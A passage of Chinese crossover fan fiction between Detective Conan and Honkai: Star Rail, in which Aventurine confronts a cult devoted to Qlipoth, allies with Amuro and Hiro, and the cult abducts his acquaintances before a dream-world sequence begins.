赤井秀一轻轻点了下头,肯定了柯南的猜测,“没错,就是你想的那样。” 只是单单外星人的身份故然会让赤井秀一警惕,但赤井秀一更担忧的是另一种风险——比一个想要攻略地球的外星人更危险的是一个一呼百应、已经被“神化”了拥有众多狂信徒的“神明”, 因为一旦砂金有任何不好的念头,多的是人愿意不计代价地为其付出一切、制造混乱,赤井秀一最担心的便是这个。 深深地吐出了口气,柯南道出了那两个字, “邪/ 教。” …… [找到了! ] 八木海没让砂金久等,很快地查到了些许情报和线索,[今天的确还有个外籍的陌生男人在这附近徘徊,不过那个家伙好像精神有些不太正常,] 砂金打开了新的档案信息,同时听着八木海道, [听那人的亲人朋友们说,对方疯了似的极度崇拜一个传教士口中的神明,后来甚至变卖了所有的资产、抛妻弃子,早在几年前便带着巨额钱财消失不见、成为了失踪人口, ] [没想到他竟然会出现在异国他乡的这里,这太诡异和不合常理了。 ] 而砂金下滑的鼠标顿了顿,屏幕上的文字信息倒影在了异色的瞳孔之中, [对了,他所崇拜的那个神明名叫……] “克里珀,”砂金轻声念出了那个熟悉的名字,“存护星神,世间最为伟大的神明——琥珀王。” 第144章 熟悉的神明出现在了陌生的世界里……思考间、筹码翻飞, 砂金改了口,“朋友,放下有关石头的调查, 去查琥珀王、克里珀还有存护这几个关键词。” 调查的方向错了, 那就重新再来。 —————————— 漆黑的夜色下,踉踉跄跄的身影扶着墙角拼命逃跑着,叮叮当当硬币碰撞的声音如魔鬼一般紧追在男人身后, “呼…哈……呼……” 急促的呼吸声越喘越重,欧洲相貌的男人终于抬不起疲惫的脚步,砰一声重重地跪倒在了地上。 溢着诡异光彩的双眸悄无声息地自黑暗中显现,微微上扬的声线跟着脚步声的节奏咬着字词、步步逼近, “不跑了吗……朋友?” “哈……”男人沙哑着发出低喝声, “不、你不要过来……” 不要过来? 那怎么可能。 嘴角扬着、眼底却冷得令人窒息,金发的年轻人如同从黑夜下的月光中走出的神秘神明,他抬起脚,咔嚓、轻轻踩在了外籍男人狼狈撑在地上的手掌, “不好意思,”年轻人的声音也是轻轻的,“我有点赶时间,能麻烦朋友配合我一下吗?” 嘴上说得礼貌,鞋掌却猛得用力碾了下去,一声惨叫穿透了暗巷……砂金面不改色地看着那身影在他脚下哀嚎, 脚下这人,正是那日出现在砂金住宅附近的那名可疑人员,也是一名……“琥珀王”的疯狂信徒。 在更换了关键词之后, 大量的情报如雨后春笋般一股脑的冒了出来,“克里珀”这个名字最早则可追遂到出百年以前。 这个世界虽然不存在神明, 但依旧存在信仰——精神图腾与支柱是文明维系与发展中不可或缺的一部分,这里也不意外。 没人知道第一个提及“琥珀王”这个称呼的人是谁,时间太过久远、八木海也查不到源头,只知道信奉克里珀的神父有着神奇的力量,能够施展神明的伟力、能使人忘却苦难、还可使死后的灵魂也永登极乐之境。 因此这些信徒认为这世间是苦难的,唯有克里珀筑下的高墙之内才是人类的乐土,高墙之外的人类注定会死于可怕的灾恶与神罚之下, 他们相信终有一天,他们的诚意会打动仁慈的神明,神明派来的使者将自天外而来、打开通往墙内的大门,给人类带来新的未来, 他们自觉只有将一切都献于那至高无上的伟大神明、永远的忠诚于祂,才能得到克里珀的瞥视,得到常人没有的神秘力量,得到进入乐土的门票, 他们期望着自己能够得到“存护”的庇佑,从此远离灾恶,活在没有疾病与死亡、没有贫穷与饥渴、没有痛苦与绝望,如同美梦一般美好的新世界里。 为此,他们愿意付出一切、舍弃一切、献出一切。 砂金面前的这家伙就是“他们”中的一员,而这人很会躲,砂金找了他好几日才将人堵在了这里。 现在砂金百分之百肯定基石的失踪必定和对方有关,但现在基石也确实不在对方的身上,砂金垂着眼皮、稍松了些力道,留给男人回复他提问的余力, “你把基石给了谁。” 被盗走的基石和最后一片碎片,应当都在那位幕后之人的手中。 “啊…我……”男人的声音断断续续,砂金静声听着,“我给了……给……” 然而下一刻,紧盯着砂金那张脸的男人眼中厉色一闪而过,一直被男人藏在风衣下的另一只手用力拽断了引线,裹在躯体上的微型炸/弹滴滴一声被瞬间引爆, “砰——!” 白烟和火药味散去,发现自己竟然还活着的男人瞳孔一震、愣愣地看着面前毫发无损的家伙,迟疑地发现甚至连对方左手指间跃动的筹码都没有任何的卡顿。 “哈…哈哈哈哈哈哈!!!” 自爆不成的男人蜷缩在地上,爆发出了疯颠的狂笑,“你没事…我也没事……哈哈哈哈哈琥珀王果然是真的,至高无上的克里珀会庇佑祂最虔诚的信徒!” “我是对的哈哈哈…你们看见了吗,我……咳咳,我是正、正确的……” 股股发黑的鲜血从男人的喉咙里涌了出来,砂金退后了两步,确定面前这个男人没有与之继续交谈的价值了——对方服了毒、求死之意赫然, 想从对方口中撬出基石的下落是不可能的了。 啧,麻烦的家伙……砂金最不喜的就是和这种狂信徒进行无效交流,这纯粹就是在浪费他时间与金钱。 砂金准备离开,痛苦呻/吟着的男人仍在笑着,甚至反手抓住了砂金想要抽离的脚腕。 “那…咳咳……那种力量,还有特殊的眼睛……”濒死将际、男人的眼睛却亮的出奇,“哈哈哈…您一定就是、是神使吧……我是正确的……” “求您为我打开、开大门……” 砂金冷漠地踢开了男人的手,再退后,静静看着男人抽搐地爬着想继续触摸着他,“我……献出了一切…咳咳……” 身份,地位,财富,家庭,甚至是他那因为他的抛弃、而无钱求医最后病亡的小儿子…… “我要…去到那乐土……” 他要去那乐土,与早早在那儿等他的妻儿们团聚…… “乐土?”听不出来什么语气,砂金再一次躲开了男人的触碰,“世界上不存在真正的乐土,不管是在哪个世界。” “不…咳咳……”男人坚信不疑,“一定存…存在,你就是证……咳、证明……”那种力量,除了神明的恩赐、不可能再有别的可能,乐土一定存在! “就算真的存在……”砂金反问道,“你又凭什么觉得你所献上的那些能够打动琥珀王?” 砂金只觉得好笑,也不知道最开始宣扬克里珀的那人是不是错把基石上残留的[同谐]、[存护]、[虚无]与[秩序]的多重概念混淆在了一起, “仁慈的克里珀”这种形容……竟然也能说得出口,让他这个存护命途的行者听得有些想大笑一场。 砂金无情地向男人揭露着真相,“拥以存护之名的克里珀,实则是最无情的存在之一。” 细数众位星神,人类的感情本就无法简单地套用在那种层次的存在之上。 [欢愉]是最具人性的星神,[毁灭]与[巡猎]专注地走在自己的道路上,[记忆]与[均衡]是旁观者,[神秘]与[终末]不可观测,[智识]与[虚无]一个只知计算、另一个只想沉眠, [开拓]、[纯美]、[不朽]、[繁育]与[秩序],似亡非亡、似存非存,执掌命途的最高者早已不复存在。 [丰饶]和[同谐]倒是和“仁慈”沾了一点边,但这份“仁慈”也不是寻常人消受得起的, 而[存护],祂一心就只有不断地挥起那巨锤、然后落下, 筑墙,筑墙,筑墙。 命途行者只是践行命途之人,别无其他含义,宇宙中多得是琥珀王的狂信徒走上了其他的道路,或是偏远之处都未曾听闻过存护星神之名的人因自己信念而得到了瞥视与祝福。 “不曾行存护之事者,”砂金对面前的男人判下了最残忍的刑法,他嘲讽地笑道,“不得祝福、不入乐土。” 杀人必当诛心,垂死中的男人眼神骤然暗了下去,砂金的话给了他当头一棒,男人不甘心地挣扎着吐出了最后的遗言,“不…我是…我都是……” 为了琥珀王啊! ! ! 第145章 行了“存护”之事, 便可以永入乐土吗? 不, 砂金不相信“乐土”的存在,但这并不妨碍砂金在男人脸上、得到那一双死不瞑目的眼睛——砂金的心情不太好, 所以他也不会让别人好, 公平一点, 也挺好的。 “朋友, ”丢下脚边自尽的尸体,砂金偏了下头, “总不会是我吓到你们了吧?要知道、我可是很无辜的,躲着不愿意和我聊天的话……我也是会很伤心的呢?” 听这话说的, 不知道的人怕不是会以为砂金受了多大的委屈。 片刻, 巷外的不速之客还是叹了声气, “hiro,我就说这家伙不用我们操心的吧。” [zero,别这么说, ]另一道温温和和的话音在安室透的耳麦中揭了好友的底, [一路飞车过来的人也是zero呢。 ] 安室透哽了一下,自己的幼驯染、果然还是黑芝麻馅儿的。 外来的邪/ 教组织进入境内,安室透当然是第一时间得知这个消息的人员之一,而且这不是安室透第一次和那些疯子接触了。 “早几年前,”安室透上前轻轻翻过尸体、确认着死者的相貌身份,“组织和这伙人有过合作。” 如果说安室透只是为了给自己上保险、才以神秘主义者自称, 那这伙人就是彻彻底底的、神秘主义的忠实信徒, 简单一点的概括,就可以只用两个字来形容——疯子。而像今天这样的自杀式袭击, 他们也不是第一次干了。 确定了尸首上的炸/弹残骸并不作假后,安室透看向砂金的眼神也更加古怪了, 班长……该不会是真的捡了个妖怪回来吧? 是的,相比较赤井秀一口中的外星人,隐约知道这个世界上存在“魔女”的安室透、还是更愿意相信砂金是个妖怪。 安室透的接受能力一向很好,返老还童都出现了、再多个“妖怪”也没什么特别的。 砂金注意到了安室透的视线,眉头一挑,“怕了?” “也许吧,”安室透擦掉指尖染上的丁点血渍,“毕竟你是个不可控的隐患。”真要说怕,怕得也不是砂金这个人,而是对方可能带无辜者的危险罢了。 筹码的两面在空中翻翻转转,砂金继续道,“那你不再多对我做点什么吗?” “牢铐,电椅,私刑,审问……用尽手段来将不可控变得可控,朋友、你大可以再直白一点的去使用我。” ……果然是个“问题儿童”啊,安室透敲了敲耳麦,另一头诸伏景光的保持了静默,决定由安室透这位和砂金相处更多的人来和砂金进行决定了最关键一步的交谈。 “听起来,你已经很习惯面对那些了。”安室透继续道,砂金颈边的纹身在月亮的照耀下若隐若现。 “没办法,”砂金耸肩,“工作性质就是这样嘛,不棘手的活儿、一般还落不到我手上。” “有没有人问过你这种问题,”安室透盯着砂金、不放过对方任何一丝的情绪变化道,“你恨过、或者是想过要向这个世界复仇吗?” 人,总是要给自己一个坚持下去的目标的, 有时,安室透真搞不懂砂金凭着什么信念,才能这么随意地让自己过活着,活得既认真、又很敷衍。 那会是因为“仇恨”吗?想着砂金曾经透露过的支言片语的过去,安室透便那么问了。 “嗯,还真有。”砂金也没隐瞒,他对大多数人的大多数时候都很少说谎、更多都只是不言或修饰真言而已, 说谎的最高层次,是说真话。 “一个脑袋上长鸡翅膀的混蛋问过我,”砂金靠在了墙上,时间过去了那么久,再提起时也没了那么多的复杂情绪,“是否想过要亲手毁灭世界。” 长鸡翅膀? 这又是哪个妖怪? 安室透:“那你的回答是?” “我不知道。” 砂金重复道,“我的回答只是我不知道。” “嗯,再现实一点的说……”砂金向安室透示意了一下手中把玩不停的小物件,将对星期日说过的话又修饰了一遍、便开口问道, “假设你拥有一枚神奇的筹码,当你抛起它时,若其中的一面朝上、世界便会因此而毁灭,反之、不会有任何的事发生,你会选择抛起它吗?” “我会将它安全的那一面朝上、钉死在地上,并24小时不间断的监控着它,确保不会有人触动它分毫。”安室透回答着。 而砂金的指尖却轻轻将筹码弹起,“但我会非常乐意地去选择……” “赌一把。” 他回复的不知道……不是因为迷茫或是不忍的犹豫不决,只是单纯的“不知道”而已——硬币还没未落下,砂金当然不可能知道结果是什么, 自己想不想并不重要,砂金只看重母神祂允不允许罢了。 叮当……没被主人接住的筹码掉在了地上,圆饼状的硬币外型让它滚到了安室透的脚边,才因为碰到障碍物而停下偏倒。 “连这种事都要赌一下看看吗,赌徒。”安室透也不知道该怎么形容自己的心情了,他对砂金无可救药的“赌性”已然无言。 “要看看吗,”砂金微微扬了下下巴,指指安室透脚边的筹码,“它现在是哪一面?” 这种时候,安室透都不知该不该庆幸砂金那自我意识稀巴烂、全听“命运”作安排的糟糕行事作风了。 安室透甚至都没有低头去看那枚筹码,干净利落地道,“无事发生。”也只能是无事发生。 不然难道让他看着正反都一个花色的筹码、对砂金说“呀、真不幸啊,我们掷到了毁灭世界的那一面”吗? 砂金是疯子赌徒,安室透他可不是。 砂金:“我想我们顺利地达成了共识。” “hiro,你可以撤退了。”安室透摘下耳麦,打开了外放,“我们有了一个麻烦的临时队友。” 远处的顶楼,早有预感这次谈话并不会谈崩的诸伏景光嘴角含着笑,将对准着砂金的狙击枪放下,同时对着另一头补充道, [zero想说的是,] 一向善解人意的诸伏景光为自家嘴硬的幼驯染补上了未言之意, [祝我们合作愉快。 ] …… “说实话,”砂金摸了摸下巴道,“这是我经历过的、最没有危机感的一次合作谈话,我还以为狙击手先生会先废掉我的腿、防止我逃跑后再开始谈话呢。” 安室透嘴角一抽,“难道你以前,每一次行动都要被合作伙伴们上一次刑,才能谋得到对方的信任?” 安室透还担心己方的试探会不会让砂金心生反感,毕竟他们早先就已经有过合作的基础、也算是“朋友”关系了,频繁的怀疑不利于他们心平气和的交流, 结果砂金这家伙反而还觉得他们做的还不够? ? ? “那不一定,”砂金漫不经心地道,“有时是我自己得先对自己开个几枪……呃!” 处事不惊的一双三重色眼眸猛的睁开,措不及防地被安室透抱了个满怀的砂金受到了小小的惊吓,“朋、安室透?你在做什么?” “这是我和hiro事先说好了的。” 安室透抱得爽快,松开得也爽快,留下砂金一个人不知道怎么回事,安室透才继续解释道,“怀疑与试探是身不由己,但也是我亏欠了你的,我不会逃避……当然,我依旧觉得你是个麻烦鬼,所以,” “抱歉,” 我很抱歉来自我们的行为会对你造成伤害, “还有谢谢。” 也很感谢你的理解。 第146章 有什么好抱歉的? 又有什么好说谢谢的? 砂金愣在原地,不是很明白安室透这是在做什么。 类似的事,砂金经历过很多了,星期日、赤井秀一、安室透……砂金有预想, 之后这种事也不会少, 不过砂金并没有什么不满。 说是“理解”……砂金也没有那么会为他人着想,只是大家都是在工作嘛,他们没有谁可以单独代表着他们自己,他们得为身后的其他事、其他人而负责, 换了砂金……他也会那么去做——各种手段,都不过是利益交换中必须经过的一个环节罢了,他早就习以为常。 但因为这种稀疏平常的事而得到“拥抱”, 这还是第一次。 所以砂金抿了抿嘴, 也便说了,“这没必要。” “对别人而言可能是没必要,但对你……”安室透挑眉,有了种搬回一局的快感,抬手拍了拍砂金的肩膀,“安心受着吧,妖怪先生。” 正是因为平时没有得到过,所以才需要得到弥补啊,笨蛋。 …… 离砂金和安室透有几分距离的角落里,平日里摆枪弄刀的手握得紧紧的, 指甲嵌进了自己的血肉里,最不喜欢疼痛的伯劳低头看了看自己手心里的血迹…… 不喜欢, 伯劳想, 他不喜欢, 不喜欢那些石头, 不喜欢砂金受伤, 不喜欢其他人接近砂金, 不喜欢砂金不理他, 不喜欢没有睡前故事, 不喜欢砂金总是把他放在计划之外, 不喜欢那么多人都想要和他抢夺主人, 不喜欢砂金信任别人超过自己, 不喜欢其他人…… 好多好多“不喜欢”,伯劳又想,现在乱七八糟的念头都是以前没有过的,都是砂金教他的, 这些,他喜欢。 —————————— “确定了吗……” 乌压压的人群前,站在高台上、身披着斗蓬看不清身影的人哑声问道,而在那人的身后,帷幕上硕大的盾牌型神秘符号隐隐发着光。 “确定了。” “肯定没错,我看了霍伦死前发来的视频,那种近距离的爆炸还能毫发无损……” “那种神迹,一定是神使降临!” “嘘,那不叫死、那叫魂归乐土,蠢货!” “神使他好漂亮……” “真羡慕霍伦啊,为什么这个任务不能交给我来做呢?” “我也好想好想和神使近距离接触,我会把自己洗得干干净净的,绝对不会像霍伦那样把自己弄得脏兮兮的、脏了神使的鞋子……” “神使是我们所有人的!你别想独占!” 笃定、艳羡、期待、疯狂……台下一片窃窃私语, “静声,”台上的人最后问道,“那大家是否认同他神使的身份?请告诉我一个声音……” 台下沉默片刻,众人面面相视,终于有人站了出来,代表所有人做出了回答,“我们……认同他的身份。” “那么,神使已然降临、没有疑问……”黑袍人满意地颔首,“计划继续推行,乐土的大门终将为我们而打开,请诸位谨记我们唯一的信条,” “一切献给那至高无上的存在!” 越来越多、有男有女、有老有少的声线都和了进来,诡异扭曲的画面和腔调令人毛骨悚然,众人齐声应答, “一切献给琥珀王——!” —————————— “柯南同学!” 午后,蹦蹦跳跳的几个孩子围在发着气球的布偶熊身边,其中一个女孩向柯南招着手,“这里有免费的小礼物哦,柯南同学要不要!” 最近正心烦着呢的柯南敷衍地嗯嗯了两下,脑子里还在想着赤井秀一那天告诉他的情报, 那些邪/教徒,恐怕是冲着砂金来的。 三年前,正是赤井秀一代表组织和那伙人进行的接触,那时的赤井秀一还是“莱伊”,是个深得组织信赖的狙击手。 但不知道为什么,那群疯子见了莱伊后一个个都疯了似的针对他,甚至硬是扒出了赤井秀一的卧底身份,濒临暴露边缘的赤井秀一便甩了一把锅给那时的搭档、苏格兰…… 结果才刚甩了一半,赤井秀一却发现苏格兰竟然也算是半个同僚。 当时的赤井秀一沉默了好久,最后只好当行善积德、以及还对方向组织隐瞒过自家妹妹的存在的人情了,把有人举报苏格兰是卧底的情报也都认在了自己的名下, 赤井秀一自己则准备放弃潜伏、脱离组织,以便用自己这枚抢救风险过高的“废棋”保全苏格兰。 于是在外人看来,整个事情的经过就成了赤井秀一为隐瞒自己的身份、不惜伪造情报污蔑和自己关系不错的苏格兰才是那个卧底,想让苏格兰成为自己的那只替罪羊, 可惜赤井秀一的阴谋最终还是“破灭”了,差点因莱伊的陷害而遭到组织处决的苏格兰、也成了波本和赤井秀一彻底交恶的导火索, 三瓶威士忌的孽缘就此结下。 现在的赤井秀一想来,当初邪/教徒莫名其妙地针对他的原因应该是找到了——那些人的目标应当和砂金一样,都是他身上的那块砂金石才对, 赤井秀一当年简直就是遭了一场无妄之灾。 赤井秀一不愿将砂金石交还给砂金,也是在顾忌着万一砂金这个“神使”和那些邪/教徒勾搭在一起而可能带来的危险, 一个疯子不可怕, 一个外星人也不算可怕, 但一群疯子和一个一呼百应的外星人加在一起……那可就不一定了,邪/教本身的危险可一点不比攻打地球的外星人低——赤井秀一不想见到即有外忧又有内患的那种场景发生。 拯救地球这种伟业……赤井秀一也没有那么想去做。 正想着,柯南猛然感觉耳边怎么突然变安静了,便下意识回头去寻找那几个叽叽喳喳的小朋友,结果…… 风轻轻刮过,几个气球没了人牵着、晃晃悠悠地飘向了天空,那几个孩子和布偶熊都不见了。 “步美?元太?!光彦——!” 瞳孔一震,柯南急匆匆地往回跑去,“你们去哪了——?!” 然而焦急的柯南刚刚跑过一个巷口,视线死角的广告牌后一双大手伸出……垫着浸了迷药的手帕用力的捂上了柯南的口鼻,刚想挣扎的柯南顿时被控制在了一个有力的怀抱里, 糟、糟糕……昏昏沉沉的眩晕感很快袭上大脑,柯南失去意识前,只剩下了一个念头, 要赶紧告诉赤井先生他们才行…… …… 黑衣人将迷昏过去的小孩子们丢在了面包车的后备箱里,便对电话的另一端道, “计划顺利,已经到手了。” …… 另一边,刚刚合上后备箱车盖的另几名黑袍人也是微微点头,“我们这边也一切顺利,准备汇合吧。” 说着,黑袍人们绕到前方上车,不起眼的出租车发动机嗡嗡一声起动开来,静静地驶出了无人的死胡同,胡同里最后只剩下了挣扎中被扯断、散落了一场的人造珍珠…… “娜塔莉三三!你在哪里?!” 高跟鞋急促奔跑的脚步声还是来晚了一步,收到娜塔莉群发的求救短信后马上追过来的朱蒂,望见了一地零碎的珍珠手链……朱蒂的脸上顿时一白, 那些珠子,太像娜塔莉手腕上常戴的那一串了。 “秀,”冷静下来的朱蒂第一时间拔通了赤井秀一的电话,“突发情况,娜塔莉她失踪了。” …… 挂了电话,赤井秀一面色有些凝重,不仅是娜塔莉……刚刚卡迈尔汇报, 毛利侦探事务所也空无一人。 第147章 失踪人数远远不止这几位, 铃木园子,阿笠博士,经常光顾的几家彩票店老板, 赌场荷官, 再到……安室透, 冲矢昴, 绿川光, 伊达航, 松田阵平和萩原研二等等…… 邪/教徒疯了似的绑架着所有和砂金有过接触的人,不计后果、影响、以及代价,连基德都向砂金发来信息询问出了什么事,因为那些人也在寻找基德的下落。 短短几天,失踪人口众多,民众人心惶惶、警视厅严阵以待…… 风暴的中心, 却很是安静。 “我出趟门, ”砂金对留守的伯劳道,“你……不会让我失望的吧。” 轻轻碰的一声,门在伯劳面前被关上,伯劳垂着脑袋不言不语。 …… 门外,砂金握着门把手半晌、才又松开手。 外面的天空有些暗沉,乌云一朵一朵的紧挨着,今日似乎会有一场绵绵不绝的雨水降临。 “不是很好的天色啊, ”砂金说,他……不喜欢下雨天。 【需要我们陪着你吗。 】「砂金」问。 小卡卡瓦夏没说话、只是跑过来想拽着砂金的衣角。 “不,我不需要。”砂金揉了下小卡卡瓦夏脑袋,这么回复着,“你们只需要等我回来就足够了。” 【没关系吗? 】 “当然没关系, ”唇角弯了弯,砂金对「砂金」道,“这不是你一直想告诉我的吗,我已经和以前不一样了……不是吗?” 曾经的卡卡瓦夏小小的一只, 现在的砂金算不上高大,但也是个正常成年人的体型了, 只是他已经变得无法再被妈妈抱在身前、被姐姐护在怀里。 曾经的卡卡瓦夏搬不动一辆大篷车, 现在的砂金不仅力气大了不少,他还学会了开太空星舰, 只是星舰上的诸多事物再也没有大篷车里的那些重要。 曾经的卡卡瓦夏置疑着母神的赐福,他问、这哪里是好运了? 现在的砂金是芬戈妈妈最虔诚的信徒,好运是指引他活下去的希望, 只是他仍有些疑惑,为什么……好运非选择了他? 曾经的卡卡瓦夏只能狼狈不堪的逃跑,当个懦弱的胆小鬼, 现在的砂金是星际和平公司名声大噪的P45高管,一名狂傲的赌徒, 只是…… 没有“只是”,他已经和以前的他不一样了,他得到了“成长”,拥有了命途赐予他的“力量”、母神偏爱于他的“祝福”、公司带给他的“财富”与“地位”。 “如果一个幸运儿的诸多好运,都建立在他所爱之人、甚至更多人的不幸之上,”砂金轻声说道,“那这种好运,是否是对我等生于世的惩罚?” 【现在……】「砂金」抱起了不安的卡卡瓦夏,轻轻拍着孩子的脊背,【你要去寻找这个问题的答案了吗? 】 “或许是吧,” 他与曾经有了天差地别的变化,那“好运”的代价是否也会改变?他的幸运是否只能一次又一次地带来无意义的死亡?他又是否真的…… 拥有了“改变”? 砂金道,“等我回来,一切就有了答案。” 【我……】卡卡瓦夏有点想哭,最喜欢的下雨天和「砂金」也安抚不了他的情绪,卡卡瓦夏趴在「砂金」的肩头,【大哥哥,你一定要回来啊,】 【我…我会等你的……】 不要对掌,不要告别,他们还没到分别的时候。 “放心,”砂金笑了笑,“会的,不管是什么答案,我肯定会回来的,毕竟……” “我总是那么好运嘛。” 他从未输过。 —————————— 滴答,滴答…… 雨点子开始从天上落下,抬手撩了一把碍眼的额发,潮湿的空气让砂金有些不喜,但雨水依旧有点越下越大的趋势, 砂金没有带伞。 黑色的伞面探到了砂金的头顶、为砂金掩挡住了即将倾盆的大雨,砂金回首,数位披着黑袍的陌生男女已经默默地接近了他、围绕在了他的身周。 “神使大人,”替砂金打着伞的年轻女孩用另一只手拎起了黑袍下的裙摆,向砂金微微行了一礼,她神色憧憬地向砂金道,“我们来接您回家了。” 砂金:“回家?” “是啊,”女孩笑着,“教众里的所有人都是克里珀的孩子,我们都是亲密无间的一家人。” 哈,琥珀王知道祂突然多了这么多孩子吗?砂金心下嘲讽着,确认这些人确实把[存护]和其他星神的概念弄混淆了, 但这又和他有什么关系? 他没有义务为这些人讲解诸多星神的区别。 砂金只关心,“你们带走的那些人呢?” “请神使大人不必担忧,”女孩温柔地回答着,“他们是神使大人您所喜欢着的存在,我们不会对他们不利,我们只是想要请神使大人博爱、看看我们这些被您遗忘了的可怜虫……” “我们啊,只是拼尽一切、博求着父母注视的孩子而已。” 雨点在伞面上打得噼啪作响,砂金静静看了身边的女孩一眼、女孩脸上的神色分毫不变,仿佛就算下一秒砂金杀了她,她也只会倒在血泊里轻声说着, “神使大人啊,请与我们回家……” “……好,”砂金从女孩手里接过了伞,“那带我去你们的家里看看吧。” —————————— 刷一下拉开窗帘,阳光明媚的有些刺眼,难得放了个长假的伊达航打了声哈欠,“娜塔莉……你怎么不早点叫我起床。” 他都来不及做爱心早餐了。 已经端着面包牛奶进屋了的娜塔莉笑了声,“ Wataru的确需要好好休息了,多睡会儿没关系。” “那午餐放着让我来做吧,”伊达航还没有洗漱、只捧着爱人的脸,在对方额头上落下一个珍视的吻,“该轮到我来照顾家庭了,之前……” “辛苦你了。” “我也说过很多次了吧,”娜塔莉温柔地摸摸伊达航一脸的胡茬,“别总是想那么多,我并没有感到辛苦,因为我的爱人是为了包括我在内的、更多人的幸福而努力着的啊,警官先生。” 伊达航深觉他此生最大的幸运便是遇到了娜塔莉。 “好了,都老夫老妻的了,这么粘人……小心让你朋友看到了笑话你。”娜塔莉轻轻推开了伊达航的拥抱。 伊达航爽朗地笑了笑,“他们爱笑就笑呗,我们几个里,我可是唯一成家了的那一个。” 不过也知道爱人面子薄,伊达航顺势去了卫生间洗漱,顺便刮了刮有些扎人了的胡子。 打上泡沫,看着镜子里人高马大的影子,伊达航不由得顺着刚刚的话题想了他的那几位好友, “也是,”伊达航想着,自言自语着,“他们几个怎么还没有点情况呢?” 松田阵平和萩原研二那两个家伙单身……伊达航还能理解,那对幼驯染像是要和模型过一辈子的样子,但降零和诸伏怎么也没动静? 他们两个家世好,性格也好,长得更是不错,也都是个会顾家会爱人的人,结果别说他们喜欢上谁了,甚至都没人追他们……这可不太正常。 难道是因为他们的工作性质太危险了,令人望而却步的缘故? 镜子里的人神色恍惚了一瞬, “可是……”伊达航有些更不能理解了,“普普通通的警视厅刑警这种职业,也不管是很高危的吧?” 刑警,比萩原研二和松田阵平他俩的工种可安全太多了,而且日后前途也很广。 洗了把脸,冲掉泡沫,扑面的冷水让刚睡醒的伊达航清醒了不少,伊达航叹了口气,算了、不想了,也许是降谷他们的缘分还没到吧, 这种事,他操心好像也没有什么用呢。 “ Wataru!”娜塔莉突然敲了敲门,对伊达航道,“松田先生和萩原先生来拜访,我让他们在客厅等你了?” “没问题,我马上就好!” 这人……果然不经想啊,伊达航才想到那几个家伙,他们就到了。 咬着面包片,伊达航也没和好友们见外,随便披了个外衣就出来了,等见到沙发上,分开坐在两端、离得远远的两个人后,心生了些笑意, 这俩人肯定是又闹小矛盾了。 和没事干就天天黏在一起、似乎从来没有吵过架的降谷与诸伏不同,这对幼驯染更接“地气”、偶尔的小摩擦也有不少。 伊达航坐在那对幼驯染对面,便问道,“萩原又怎么惹你生气了,松田?” 萩原研二苦着一张脸,“我冤枉啊,班长……” “我哪里冤枉你了?”松田阵平一点就炸,“昨天在作业现场不穿防护服的是你,可不是我!” 萩原研二试图辩解,“但是炸弹已经停跳了啊,后来也顺利拆除了。” 伊达航听明白了,很直接,“萩原,道歉。”这事的确是萩原没做好。 萩原研二更委屈了,“我已经道过很多次歉了啊……” 松田阵平哼了一声,不说话。 也不知道为什么,昨天那种……小事让松田阵平心慌了好久,不管萩原研二怎么道歉他都感觉心里还有个疙瘩,所以松田阵平不知道该怎么处理这种情绪,干脆就继续和萩原研二“吵架”好了, 顺便让萩原研二自己也多长长记性! “咳,”他俩事让他俩自己处理去吧,伊达航转移了话题,“对了,降谷和诸伏怎么没来?” 平时他们几个聚会,可是一个都不会少的。 萩原研二顺势道,“最近快到诸伏爸妈的结婚纪念日了,他们去长野帮诸伏老爸出点子去了。” 真好啊,听到这里,伊达航习惯性地咬上根牙签, 大家都过得挺不错的。 …… 但是,伊达航有点奇怪, 他怎么感觉还是少了一个人呢? 第148章 真是奇怪的感觉, 伊达航抓了下寸头, 他的好友不就这几个吗? …… 【诸位,做过梦吗? 】 …… “到了, zero今晚就先和我睡一起吧?” 推开长野老宅子的门, 诸伏景光对好友招呼道, “好久没回来, 也不知道高明哥有没有准备客房。” 说是老宅, 但也只是“老”在年龄上而上, 诸伏家是个普通家庭,宅子并没有多大, 一家四口住得还有点挤, 均一个客房出来确实有点为难了。 就是不知道为什么高明哥到现在还没有搬出去住……诸伏景光眼底升起了一丝疑惑,以高明哥的薪资而言、已经足够再另购一套住房了吧? 思绪好像被打断了一瞬间,诸伏景光回过神了, 嗯……或许是因为高明哥比较恋家? “没事,又不是没有一起睡过,”降谷零很是大大咧咧,拎着大包小包的东西进了门,“ hiro ,冰箱在哪?”带回来的一些特产得冻起来才行。 诸伏景光给安室透找了双拖鞋,接过包裹,“我来吧, 你先休息一下。” 一路开车过来,其实有些累了的降谷零没和好友客气,只是坐在沙发上有几分好奇地打量起hiro家, 降谷零还是第一次到好友家中做客,茶几上诸伏父母和年幼的、一大一小的两个孩子的合照让降谷零也感觉有些稀奇——这也是他第一次见到hiro的家人。 但是,怎么没有再近期一些的合照?降谷零歪了下头,照片上的hiro小小的一只、感觉起码要是十多年……不,考虑到hiro年轻的娃娃脸,应该是二十多年前的照片了。 或许是因为hiro家不是喜欢拍照的那种人吧? 降谷零想。 …… 【梦里的那个世界…或许是没有任何遗憾的完美世界……】 …… 风吹散了枝头的花簇,樱花片片飘落。飘进了少男少女们的心扉、落在了他们的肩头。 “新一!你怎、怎么又在发呆了?”放学路上,毛利兰有点脸红,而且还是看着她发呆。 铃木园子嘿嘿笑了一声,抱着好朋友的胳膊打趣道,“我们的大侦探不会是盯着心上人看入迷了吧?” “园、园子!”毛利兰的脸更红了,“才没有那回事呢,对不对、新一!” 工藤新一晃了下神,捌过脑袋、耳朵尖也有些发红,“别乱八卦了,笨蛋……我只是在、在想事情啦!” 工藤新一才不会承认,他看到毛利兰的时候……竟然有一种奇奇怪怪的、不知道怎么和她解释的心虚感。 毛利兰也不会告诉工藤新一,她看见工藤新一、竟然会有了一种许久不见的重逢感。 “好了好了,不管我说谁、你们都一致对我呗,”铃木园子切了一声,早习惯了她这两个好友了,“你们昨天去游乐园玩,都没有叫上我!” 毛利兰尴尬地摸摸脸,“这次,这次一定叫上你……嗯,阿笠博士那边邀请我和新一去参观他的新发明,园子也一起来吧?” “这还差不多,”铃木园子应了声,也超好哄,“希望那个小鬼头别太烦人,我可不携长哄孩子。” “等等,”工藤新一疑惑,“什么小鬼头?” “你忘了吗?”毛利兰也有些疑惑地反问,“阿笠博士家暂时寄养了一位远房亲戚家的孩子,就是江户川柯南呀。” 江户川……柯南?工藤新一神色恍了恍,他怎么感觉这个名字这么……怪呢? …… 【但也正是因为没有遗憾的过于完美,才与现实不同,】 …… “是空的……” 习惯性地打开手机,看着空空荡荡的收信箱,娜塔莉有些走神,她总觉得这里应该塞满了短信。 但发信人是谁? 她不记得了。 “ Wataru 